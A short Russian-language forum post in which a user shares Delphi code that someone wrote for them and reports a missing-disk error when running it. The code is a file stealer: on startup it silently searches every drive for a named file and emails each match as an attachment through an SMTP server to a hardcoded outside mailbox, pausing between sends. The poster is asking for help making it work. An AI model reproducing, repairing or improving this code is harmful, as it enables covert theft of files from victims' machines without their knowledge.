
04.05.2010, 14:51
|
Новичок
|
|
Регистрация: 25.04.2010
Сообщения: 99
Репутация: 9
|
|
Мне вот тоже накидали, он работает но при запуска Ошибка типо не найдет диск.
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdMessage, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdMessageClient, IdSMTP, StdCtrls;
type
TForm1 = class(TForm)
IdSMTP1: TIdSMTP;
IdMessage1: TIdMessage;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure S_mail(Atta:string);
begin
Form1.IdSMTP1.Host:='smtp.mail.ru';
Form1.idSmtp1.Port:=25;
Form1.idSmtp1.Username:='+++++' ;
Form1.idSmtp1.Password:='+++++' ;
Form1.IdMessage1.Body.Text:='Ну вот вроде получилось';
Form1.idMessage1.From.Text:='+++++@mail.ru'; // Почтовый от адрес, от кого
Form1.idMessage1.Recipients.EMailAddresses:='hugolom@mail.ru' ; // и кому отправляем
Form1.idMessage1.Subject:='test' ; // Тема письма
TIdAttachment.Create(Form1.idMessage1.MessageParts,Atta);
Form1.idSmtp1.Connect();
if Form1.IdSMTP1.Connected then
Form1.idSmtp1.Send(Form1.IdMessage1);
Form1.idSmtp1.Disconnect;
end;
procedure FindFiles(StartFolder: string);
var
SearchRec: TSearchRec;
FindResult: Integer;
begin
try
StartFolder := IncludeTrailingBackslash(StartFolder);
FindResult := FindFirst(StartFolder + '*.*', faAnyFile, SearchRec);
try
while FindResult = 0 do
with SearchRec do
begin
if (Attr and faDirectory) <> 0 then
begin
if (Name <> '.') and (Name <> '..') then
FindFiles(StartFolder + Name);
end
else
if Name='ТУТ_НУЖНЫЙ_НАМ_ФАЙЛ' then
begin// если нашли то что искали то тогда
S_mail(StartFolder + Name);
sleep(360000); // задержка желательно
end;
FindResult := FindNext(SearchRec);
end;
finally
FindClose(SearchRec);
end;
finally
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
i, j: integer;
buf: array [0..499] of char;
DrvStr: array [0..9] of char;
LogDrives: set of 0..25;
begin
integer(LogDrives) := GetLogicalDrives;
for i := 0 to 25 do
if (i in LogDrives) then
FindFiles(chr(i + 65)+':\');
end;
end.
|